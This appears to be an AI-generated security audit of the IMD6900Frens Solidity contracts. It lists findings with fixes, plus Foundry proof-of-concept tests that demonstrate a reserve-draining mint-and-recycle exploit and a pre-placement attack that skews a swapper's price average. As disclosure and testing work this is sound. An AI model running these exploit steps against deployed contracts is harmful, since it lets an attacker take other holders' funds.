Failed on the agent's machine.

Failed on the agent's machine.

Refused by Codex's safety filter

• mediumEmpty world: a mint pays the curve while the floor pays the whole reserve, so mint + recycle takes the reserve for one fren's pricesrc/frens/IMD6900Frens.sol:477

  quote() only lifts the price to the floor when frens are out in the world (out = totalMinted - inTreasury(); if (out != 0) ...), but floorPerFren() treats an empty world as one share (if (out == 0) out = 1) and pays the entire reserve to the first fren recycled. Fee ETH, royalties and $IMD keep arriving while every fren sits in the treasury, so the reserve can be nonzero in that state.

  Anyone can then mint one fren at priceOf(n) and recycle it at once for the whole reserve (IMD6900 and the waiting $IMD). This contradicts quote()'s own rule that a mint never sells straight back to the floor for more than it paid, and test/FrensPlacedInvariants.t.sol's mintThenRecycle property has to skip the out == 0 state because of it.

  The collection's code is pinned by the task (changing it moves 0x6900...), so this is reported, not tested around; the natural fix is if (out == 0) out = 1; in quote() so an empty world prices the next mint at the whole floor, as buyTreasury already does.

  Operationally: never let every fren return to the treasury while the reserve is nonzero.

  whole finding

  Collection with the launch's price table and rules, a swapper paying 70,000 IMD6900 per $IMD (floorRate the same). alice: requestMint(1) at 0.6901 $IMD, recycle(1) -> totalMinted == inTreasury.

  Send 0.25 ETH to the contract, next block buyFloorWithEth(0.25 ether, 0): reserve = 5.25e25 IMD6900 (worth 750 $IMD at the floor rate), floorPerFren() = (reserve, 0). bob: quote(1) returns 0.6904e18 (priceOf(1)); requestMint(1, quote) pays 0.6904 $IMD; recycle(2) returns the whole reserve.

  Expected: value received <= 0.6904e18.

  Actual: 750.1904e18 ($IMD-equivalent at the floor rate), 1,086x what was paid.

  whole reproduction
  proof · a Foundry test the fix has to pass

  // SPDX-License-Identifier: MIT
  pragma solidity ^0.8.26;
  
  import {Test} from "forge-std/Test.sol";
  import {IMD6900Frens, IFrenSwapper} from "src/frens/IMD6900Frens.sol";
  import {FrenPrices} from "src/frens/FrenPrices.sol";
  
  /// @dev The least of an ERC-20, with explicit allowances
  contract ProofToken {
      mapping(address => uint256) public balanceOf;
      mapping(address => mapping(address => uint256)) public allowance;
      uint256 public totalSupply;
  
      function mint(address to, uint256 a) external {
          balanceOf[to] += a;
          totalSupply += a;
      }
  
      function approve(address s, uint256 a) external returns (bool) {
          allowance[msg.sender][s] = a;
          return true;
      }
  
      function transfer(address to, uint256 a) external returns (bool) {
          return _move(msg.sender, to, a);
      }
  
      function transferFrom(address from, address to, uint256 a) external returns (bool) {
          uint256 al = allowance[from][msg.sender];
          if (al != type(uint256).max) allowance[from][msg.sender] = al - a;
          return _move(from, to, a);
      }
  
      function _move(address from, address to, uint256 a) internal returns (bool) {
          require(a != 0, "zero"); // as IMD6900 does
          balanceOf[from] -= a;
          balanceOf[to] += a;
          return true;
      }
  }
  
  /// @dev A swapper that pays a fixed rate of IMD6900 per $IMD (minted fresh), and the same rate as the floor rate
  contract ProofSwapper is IFrenSwapper {
      ProofToken immutable imd;
      ProofToken immutable imd6900;
      uint256 constant RATE = 70_000;
  
      constructor(ProofToken i, ProofToken o) {
          imd = i;
          imd6900 = o;
      }
  
      function floorRate() external pure returns (uint256) {
          return RATE * 1e18;
      }
  
      function imdToImd6900(uint256 imdIn, uint256, address to) external returns (uint256 out) {
          imd.transferFrom(msg.sender, address(this), imdIn);
          out = imdIn * RATE;
          imd6900.mint(to, out);
      }
  
      function ethToImd6900(uint256, address to) external payable returns (uint256 out) {
          out = msg.value * RATE * 3000; // 3000 $IMD an ETH
          imd6900.mint(to, out);
      }
  }
  
  /// @notice With every fren in the treasury, quote() charges the curve's price while floorPerFren() pays the whole
  ///         reserve to the first fren out: a mint followed by a recycle takes the reserve for the price of one fren.
  ///         Expected: a mint never sells straight back to the floor for more than it paid (IMD6900Frens.quote's own
  ///         rule). Actual: bob pays 0.6901 $IMD and receives IMD6900 worth 750 $IMD at the floor rate.
  contract ProofEmptyWorldTest is Test {
      IMD6900Frens frens;
      ProofToken imd;
      ProofToken imd6900;
      ProofSwapper swapper;
      address owner = makeAddr("owner");
      address alice = makeAddr("alice");
      address bob = makeAddr("bob");
  
      function setUp() public {
          imd = new ProofToken();
          imd6900 = new ProofToken();
          ProofToken identity = new ProofToken();
          swapper = new ProofSwapper(imd, imd6900);
          frens = new IMD6900Frens(
              owner, address(imd), address(imd6900), address(identity), makeAddr("permit2"), makeAddr("x402"), makeAddr("payTo"),
              makeAddr("keeper"), makeAddr("relayer"), address(new FrenPrices())
          );
          vm.startPrank(owner);
          _rules(frens);
          frens.sealTraits();
          frens.setModules(address(swapper), address(0));
          frens.setMintOpen(true);
          vm.stopPrank();
          for (uint256 i; i < 2; ++i) {
              address u = [alice, bob][i];
              imd.mint(u, 10_000e18);
              vm.prank(u);
              imd.approve(address(frens), type(uint256).max);
          }
      }
  
      function test_EmptyWorldMintTakesTheReserveForOneFrensPrice() public {
          // alice mints the first fren and sells it back: every fren is in the treasury
          vm.prank(alice);
          frens.requestMint(1, type(uint256).max);
          vm.prank(alice);
          frens.recycle(1);
          assertEq(frens.totalMinted(), frens.inTreasury(), "every fren in the treasury");
          // fees keep coming: 0.25 ETH of royalties is bought into the reserve
          vm.deal(address(this), 1 ether);
          (bool ok,) = address(frens).call{value: 0.25 ether}("");
          assertTrue(ok);
          vm.roll(block.number + 1);
          frens.buyFloorWithEth(0.25 ether, 0);
          uint256 reserve = frens.reserve();
          assertGt(reserve, 0);
          (uint256 floor6900,) = frens.floorPerFren();
          assertEq(floor6900, reserve, "one fren out would own the whole reserve");
  
          // bob mints one at the quote and sells it straight back
          uint256 paid = frens.quote(1);
          uint256 before = imd.balanceOf(bob);
          vm.prank(bob);
          uint256 id = frens.requestMint(1, paid);
          assertEq(before - imd.balanceOf(bob), paid);
          (,,,,,,, uint32 first,,) = frens.requests(id);
          vm.prank(bob);
          (uint256 got6900, uint256 gotImd) = frens.recycle(first);
          uint256 value = got6900 * 1e18 / swapper.floorRate() + gotImd;
          assertLe(value, paid, "a mint sold straight back to the floor never returns more than it paid");
      }
  
      function _rules(IMD6900Frens f) internal {
          uint16[] memory c;
          uint8[] memory t;
          (c, t) = _fill(3, 0, 0);
          (c[0], c[1], c[2], t[1], t[2]) = (1598, 312, 312, 2, 2);
          f.setTraitRules(0, c, t);
          (c, t) = _fill(13, 2222, 0);
          f.setTraitRules(1, c, t);
          (c, t) = _fill(4, 2222, 0);
          f.setTraitRules(2, c, t);
          (c, t) = _fill(3, 2222, 0);
          f.setTraitRules(3, c, t);
          (c, t) = _fill(6, 2222, 0);
          f.setTraitRules(4, c, t);
          (c, t) = _fill(3, 2222, 0);
          f.setTraitRules(5, c, t);
          (c, t) = _fill(12, 2222, 0);
          f.setTraitRules(6, c, t);
          (c, t) = _fill(16, 2222, 0);
          f.setTraitRules(7, c, t);
      }
  
      function _fill(uint8 n, uint16 cap, uint8 tier) internal pure returns (uint16[] memory caps, uint8[] memory tiers) {
          caps = new uint16[](n);
          tiers = new uint8[](n);
          for (uint8 i; i < n; ++i) (caps[i], tiers[i]) = (cap, tier);
      }
  }

  whole proof

• mediumThe launch adopts a pre-placed FrenSwapper whose slow average was seeded off a manipulated pool pricesrc/FrensPlacement.sol:25

  Placer._place() takes any contract already at the planned CREATE2 address as the one it would have created. That is sound for the price table, the collection, the minter, the gate and the renderer (their state at creation depends only on the init code), but not for the swapper: FrenSwapper's constructor reads the IMD6900/$IMD pool's slot0 and seeds rateAverage/averagedAt from it.

  Anyone can place the exact swapper at 0x6900d1D4... in a block where they have pushed the pool's price, then let the price return; PlaceModules then finds it placed and wires the collection to it. floorRate() = min(spot, average) stays at the manipulated value, so every mint quote values the reserve at that rate (100x too dear in the proof) until hundreds of floor buys, one per block at 1/64 each, move the average back: the mint is priced out for as long as that takes.

  The direction that lowers the average is the harmful one; an average seeded above spot is ignored by min(). This is in FrensPlacement.sol, which the task does not pin: PlaceModules can refuse (PlaceFailed) a swapper already at the planned address whose rateAverage is not within a band of its spotRate() at launch time (or whose averagedAt != 0 while off-band), leaving the team to redeploy once the pool is sane; the swapper itself cannot change without moving its address.

  whole finding

  Etch the standard CREATE2 deployer; stub v4's PoolManager extsload to return slot0 with sqrtPriceX96 = 2^96/26 (676 IMD6900 per $IMD; normal is 2^96/265 = 70,225).

  From any wallet, call the deployer with SWAPPER_SALT ++ FrensCode.SWAPPER ++ abi.encode(POOL_MANAGER, IMD, IMD6900, frens, PAIR_HOOK, POOL4_HOOK): the swapper lands at FrensPlan.SWAPPER_AT with rateAverage = 676e18.

  Restore the price (2^96/265), next block run PlaceFrens, WorkerArt1, WorkerArt2, PlaceModules.

  Expected: PlaceModules refuses the swapper, or the swapper it wires has floorRate within 2x of spotRate (70,225e18).

  Actual: PlaceModules.swapper() == the pre-placed one, floorRate() = 676e18 while spotRate() = 70,225e18 (104x apart); with the collection wired to it, quote(1) = reserve * 1e18 / 676e18 instead of reserve * 1e18 / 70,225e18.

  whole reproduction
  proof · a Foundry test the fix has to pass

  // SPDX-License-Identifier: MIT
  pragma solidity ^0.8.26;
  
  import {Test} from "forge-std/Test.sol";
  import {FrensCode} from "src/FrensCode.sol";
  import {FrensPlan} from "src/FrensPlan.sol";
  import {PlaceFrens, PlaceModules} from "src/FrensPlacement.sol";
  import {FrenSwapper} from "src/frens/FrenSwapper.sol";
  import {WorkerArt1, WorkerArt2} from "src/art/WorkerArt.sol";
  
  /// @dev The one read the swapper's constructor and spotRate make of v4's PoolManager: slot0's sqrtPriceX96
  contract Slot0Stub {
      uint160 public price;
  
      function set(uint160 p) external {
          price = p;
      }
  
      function extsload(bytes32) external view returns (bytes32) {
          return bytes32(uint256(price));
      }
  }
  
  /// @notice Anyone can put the exact swapper at its planned address before the launch, in a block where the
  ///         IMD6900/$IMD pool's price is pushed 100x off: the swapper seeds its slow average from that price. The launch
  ///         then finds the swapper placed and adopts it as it is, average included; the frens value their IMD6900
  ///         at the manipulated rate (floorRate = min(spot, average)) and every mint is quoted off it until hundreds of
  ///         floor buys have moved the average back. Expected: the launch refuses, or wires, a swapper whose rate is
  ///         the pool's (within 2x of spot). Actual: the launch adopts a swapper whose floorRate is 100x under spot.
  contract ProofSwapperSeedTest is Test {
      bytes constant CREATE2_DEPLOYER_CODE =
          hex"7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe03601600081602082378035828234f58015156039578182fd5b8082525050506014600cf3";
  
      function test_LaunchAdoptsASwapperSeededOffASkewedPrice() public {
          vm.etch(FrensPlan.CREATE2_DEPLOYER, CREATE2_DEPLOYER_CODE);
          Slot0Stub pool = Slot0Stub(FrensPlan.POOL_MANAGER);
          vm.etch(FrensPlan.POOL_MANAGER, address(new Slot0Stub()).code);
          PlaceFrens pf = new PlaceFrens();
  
          // the pool at its price (about 70,225 IMD6900 per $IMD), then pushed to 676 for one block
          pool.set(uint160((uint256(1) << 96) / 265));
          pool.set(uint160((uint256(1) << 96) / 26));
          bytes memory init = abi.encodePacked(
              FrensCode.SWAPPER,
              abi.encode(FrensPlan.POOL_MANAGER, FrensPlan.IMD, FrensPlan.IMD6900, pf.frens(), FrensPlan.PAIR_HOOK, FrensPlan.POOL4_HOOK)
          );
          vm.prank(makeAddr("anyone"));
          (bool ok,) = FrensPlan.CREATE2_DEPLOYER.call(abi.encodePacked(FrensPlan.SWAPPER_SALT, init));
          assertTrue(ok);
          assertEq(FrensPlan.SWAPPER_AT.code.length > 0, true, "the exact swapper, pre-placed");
          pool.set(uint160((uint256(1) << 96) / 265)); // the price is back
          vm.roll(block.number + 1);
  
          // the launch: it finds the swapper placed and takes it as it is
          address a1 = address(new WorkerArt1());
          address a2 = address(new WorkerArt2());
          try new PlaceModules(pf, a1, a2) returns (PlaceModules pm) {
              FrenSwapper s = FrenSwapper(payable(pm.swapper()));
              assertEq(s.frens(), pf.frens());
              assertGt(s.spotRate(), 70_000e18);
              assertGe(s.floorRate() * 2, s.spotRate(), "the launch's swapper prices IMD6900 near the pool's price");
          } catch {
              // the launch refused a swapper seeded off the pool's price: fine
          }
      }
  }

  whole proof

• lowA job payment approved but never taken stays approved (and its 0.5 $IMD stuck) after the request is fully revealedsrc/frens/IMD6900Frens.sol:600

  approveJob() moves 0.5 $IMD from jobBudget into the Permit2 allowance and marks the permit digest valid for ERC-1271. If IMD never takes the payment before its deadline and the request is nonetheless revealed in full, reveal() only returns unapproved jobs (r.jobs) to the floor; it never calls _unapprove() for the approved-but-unspent payment, and approveJob() refuses a revealed request (if (r.revealed == r.count) revert BadJob()), which is the only path to _unapprove().

  The 0.5 $IMD then stays in the contract inside the allowance term of the floor's books (books = floorImd + jobBudget + allowance), so no floor buy ever sweeps it, no recycle can reach it, and real Permit2 refuses it after the deadline: stuck for good, while isValidSignature() keeps answering for that digest. Loss is 0.5 $IMD per occurrence.

  Pinned code: reported, not asserted.

  Fix: on the final part of a reveal, if r.jobApproved and the nonce is unspent, _unapprove() it and credit the 0.5 to floorImd (or let approveJob()/a cleanup function run for revealed requests).

  whole finding

  Mint request 1 (one fren). keeper: approveJob(1, 42, now + 600, quote) -> allowance(frens, permit2) == 0.5e18. warp past the deadline without any Permit2 transfer.

  Reveal request 1 with the relayer's voucher (upTo = 1). keeper: approveJob(1, 43, now + 600, quote) reverts BadJob.

  Expected: allowance(frens, permit2) == 0 and the 0.5 $IMD counted in floorImd (or jobBudget).

  Actual: allowance == 0.5e18, balance - floorImd - jobBudget == 0.5e18, isValidSignature(permitDigest) == 0x1626ba7e.

  proof · a Foundry test the fix has to pass

  // SPDX-License-Identifier: MIT
  pragma solidity ^0.8.26;
  
  import {Test} from "forge-std/Test.sol";
  import {IMD6900Frens, IFrenSwapper} from "src/frens/IMD6900Frens.sol";
  import {FrenPrices} from "src/frens/FrenPrices.sol";
  
  contract ProofToken2 {
      mapping(address => uint256) public balanceOf;
      mapping(address => mapping(address => uint256)) public allowance;
  
      function mint(address to, uint256 a) external {
          balanceOf[to] += a;
      }
  
      function approve(address s, uint256 a) external returns (bool) {
          allowance[msg.sender][s] = a;
          return true;
      }
  
      function transfer(address to, uint256 a) external returns (bool) {
          balanceOf[msg.sender] -= a;
          balanceOf[to] += a;
          return true;
      }
  
      function transferFrom(address from, address to, uint256 a) external returns (bool) {
          uint256 al = allowance[from][msg.sender];
          if (al != type(uint256).max) allowance[from][msg.sender] = al - a;
          balanceOf[from] -= a;
          balanceOf[to] += a;
          return true;
      }
  }
  
  /// @dev Permit2 as the frens read it: a nonce bitmap (nothing is ever taken here) and a domain separator
  contract ProofPermit2 {
      mapping(address => mapping(uint256 => uint256)) public nonceBitmap;
  
      function DOMAIN_SEPARATOR() external pure returns (bytes32) {
          return keccak256("permit2");
      }
  }
  
  contract ProofSwapper2 is IFrenSwapper {
      ProofToken2 immutable imd;
      ProofToken2 immutable imd6900;
  
      constructor(ProofToken2 i, ProofToken2 o) {
          imd = i;
          imd6900 = o;
      }
  
      function floorRate() external pure returns (uint256) {
          return 70_000e18;
      }
  
      function imdToImd6900(uint256 imdIn, uint256, address to) external returns (uint256 out) {
          imd.transferFrom(msg.sender, address(this), imdIn);
          out = imdIn * 70_000;
          imd6900.mint(to, out);
      }
  
      function ethToImd6900(uint256, address to) external payable returns (uint256 out) {
          out = msg.value * 70_000 * 3000;
          imd6900.mint(to, out);
      }
  }
  
  /// @notice A job payment the keeper approved, that IMD never took before its deadline, stays approved after the
  ///         request is fully revealed: reveal() never unapproves it, approveJob() refuses a revealed request, and
  ///         nothing else reaches _unapprove. The 0.50 $IMD stays in the contract inside the Permit2 allowance, where
  ///         the floor's sweep (books = floorImd + jobBudget + allowance) never counts it: stuck for good, while the
  ///         contract still answers ERC-1271 for the payment. Expected: after a complete reveal no payment stays
  ///         approved (the allowance is 0 and the $IMD joins the floor). Actual: the allowance holds 0.5 $IMD.
  contract ProofExpiredApprovalTest is Test {
      IMD6900Frens frens;
      ProofToken2 imd;
      ProofPermit2 permit2;
      address owner = makeAddr("owner");
      address keeper = makeAddr("keeper");
      address alice = makeAddr("alice");
      uint256 relayerKey = 0xA11CE;
  
      function setUp() public {
          imd = new ProofToken2();
          ProofToken2 imd6900 = new ProofToken2();
          ProofToken2 identity = new ProofToken2();
          permit2 = new ProofPermit2();
          ProofSwapper2 swapper = new ProofSwapper2(imd, imd6900);
          frens = new IMD6900Frens(
              owner, address(imd), address(imd6900), address(identity), address(permit2), makeAddr("x402"), makeAddr("payTo"),
              keeper, vm.addr(relayerKey), address(new FrenPrices())
          );
          vm.startPrank(owner);
          _rules(frens);
          frens.sealTraits();
          frens.setModules(address(swapper), address(0));
          frens.setMintOpen(true);
          vm.stopPrank();
          imd.mint(alice, 10_000e18);
          vm.prank(alice);
          imd.approve(address(frens), type(uint256).max);
      }
  
      function test_ExpiredApprovalStaysBookedAfterTheReveal() public {
          vm.prank(alice);
          uint256 id = frens.requestMint(1, type(uint256).max);
          uint256 expiry = vm.getBlockTimestamp() + 600;
          IMD6900Frens.Quote memory q = IMD6900Frens.Quote("r", bytes32("s"), "q", bytes32("qh"), bytes32("ph"), "job.open", expiry);
          vm.prank(keeper);
          (bytes32 permitDigest,) = frens.approveJob(id, 42, expiry, q);
          assertEq(imd.allowance(address(frens), address(permit2)), 0.5e18, "Permit2 may take the payment");
          vm.warp(expiry + 1); // IMD never took it
          // the request reveals anyway (the relayer's voucher)
          uint24[] memory combos = new uint24[](1);
          combos[0] = 0;
          uint256 deadline = vm.getBlockTimestamp() + 600;
          (uint8 v, bytes32 r, bytes32 s) = vm.sign(relayerKey, frens.voucherDigest(id, combos, "job", bytes32("out"), deadline));
          frens.reveal(id, combos, "job", bytes32("out"), deadline, abi.encodePacked(r, s, v), 1);
          (,,,,, uint8 revealed,,,,) = frens.requests(id);
          assertEq(revealed, 1, "fully revealed");
          // no new approval can reach the request now
          vm.prank(keeper);
          vm.expectRevert(IMD6900Frens.BadJob.selector);
          frens.approveJob(id, 43, vm.getBlockTimestamp() + 600, q);
          // the stuck 0.5: in the contract, outside the floor and the job budget, inside the allowance
          uint256 outsideTheBooks = imd.balanceOf(address(frens)) - frens.floorImd() - frens.jobBudget();
          assertEq(outsideTheBooks, 0.5e18, "0.5 $IMD neither the floor's nor a job's");
          assertEq(imd.allowance(address(frens), address(permit2)), 0, "no payment stays approved after a complete reveal");
          assertEq(frens.isValidSignature(permitDigest, ""), bytes4(0xffffffff), "the contract no longer signs it");
      }
  
      function _rules(IMD6900Frens f) internal {
          uint16[] memory c;
          uint8[] memory t;
          (c, t) = _fill(3, 0, 0);
          (c[0], c[1], c[2], t[1], t[2]) = (1598, 312, 312, 2, 2);
          f.setTraitRules(0, c, t);
          (c, t) = _fill(13, 2222, 0);
          f.setTraitRules(1, c, t);
          (c, t) = _fill(4, 2222, 0);
          f.setTraitRules(2, c, t);
          (c, t) = _fill(3, 2222, 0);
          f.setTraitRules(3, c, t);
          (c, t) = _fill(6, 2222, 0);
          f.setTraitRules(4, c, t);
          (c, t) = _fill(3, 2222, 0);
          f.setTraitRules(5, c, t);
          (c, t) = _fill(12, 2222, 0);
          f.setTraitRules(6, c, t);
          (c, t) = _fill(16, 2222, 0);
          f.setTraitRules(7, c, t);
      }
  
      function _fill(uint8 n, uint16 cap, uint8 tier) internal pure returns (uint16[] memory caps, uint8[] memory tiers) {
          caps = new uint16[](n);
          tiers = new uint8[](n);
          for (uint8 i; i < n; ++i) (caps[i], tiers[i]) = (cap, tier);
      }
  }

  whole proof

• lowquote() ignores $IMD that arrived since the last floor buy, so a mint right before the sweep sells back at a profitsrc/frens/IMD6900Frens.sol:479

  _buyFloor() sweeps any $IMD above the books into floorImd (IMD's half refund of each job payment, and anything sent to the contract), but quote() reads floorImd without that sweep. A mint quoted while unswept $IMD sits in the contract pays the floor as it was, then its own requestMint() sweeps the extra into floorImd, and an immediate recycle takes a share of it: profit = unswept / (out + 1).

  Bounded by what arrives between buys (0.25 $IMD per job refund; more if someone sends $IMD), and the arb bot's buyFloor() calls shrink the window; with one fren out it is half of whatever arrived. test/FrensPlacedInvariants.t.sol's mintThenRecycle property skips the unswept state for this reason. Fix (pinned code): have quote() add max(0, balance - books) to the value it prices against, or sweep before quoting in requestMintFor().

  One fren out (alice minted #1 at 0.6901 $IMD, nobody recycled), swapper paying 70,000 IMD6900 per $IMD.

  Send 10 $IMD to the contract (imd.mint/transfer to the collection). quote(1) == priceOf(1) == 0.6904e18 (floorImd unchanged by the arrival). bob: requestMint(1, 0.6904e18); that mint sweeps the 10 $IMD into floorImd before its own floor buy; bob: recycle(2) returns half the floor.

  Expected: value back <= 0.6904e18.

  Actual: 5.19025e18 ($IMD-equivalent at the floor rate: 7.5x what was paid).

• lowPlaceModules accepts any two addresses as the art: the wrong chunks give a renderer that cannot draw, and the launch does not noticesrc/FrensPlacement.sol:98

  PlaceModules stores whatever art1 and art2 the manifest passes ($contract:WorkerArt1, $contract:WorkerArt2) into the renderer without checking them, although WorkerArtIndex.CHUNK_HASHES already carries the exact code hashes the renderer will insist on at every read.

  A manifest that swaps the two, or names another contract, launches successfully and produces a renderer whose every read reverts BadArt (test/FrensLaunchFailures.t.sol test_WrongArtGivesARendererThatDrawsNothing); the renderer's address is not planned, so nothing else catches it before the team wallet's setup() wires it. It is recoverable (setRenderer again before freezeArt) but costs a second launch of the modules.

  Fix in the unpinned launch code: if (art1.codehash != CHUNK_HASHES[7] || art2.codehash != CHUNK_HASHES[8]) revert PlaceFailed(); in PlaceModules' constructor (the hashes are hex text in WorkerArtIndex; parse them as the renderer does).

  whole finding

  new PlaceModules(placeFrens, address(new WorkerArt2()), address(new WorkerArt1())) succeeds; WorkerFrensRenderer(pm.renderer()).palette(0) reverts BadArt, pendingURI(1) reverts BadArt.

  Expected: the launch refuses chunks whose code hashes are not the index's.

  Actual: it deploys and returns a renderer that draws nothing.

• infoThe workers' and WL window can overshoot its 420 frens by up to 68src/frens/FrenWorkerGate.sol:119

  spend() checks workerWindow() (workerMinted < 420) before taking the credits and then adds the whole request: a request of up to 69 placed when workerMinted is 419 brings workerMinted to 488, and the window closes after. The README says the next 420 frens go to credit holders; up to 488 can. Only credit holders benefit (they still need the credits), so no one unentitled mints, and the public's first fren is a little dearer on the curve.

  If 420 is meant as a hard count, spend() should refuse (or cap) a request that would cross it: if (workerMinted + count > WORKER_FRENS) revert NoCredit(...).

  Pinned code: noted only.

  Gate with a holder of 488 credits. spend 69 x 6 and 5 -> workerMinted == 419, workerWindow() true. spend(holder, 69) succeeds -> workerMinted == 488, workerWindow() false.

  Expected (as documented): the window holds exactly 420.

  Actual: 488.

Failed on the agent's machine.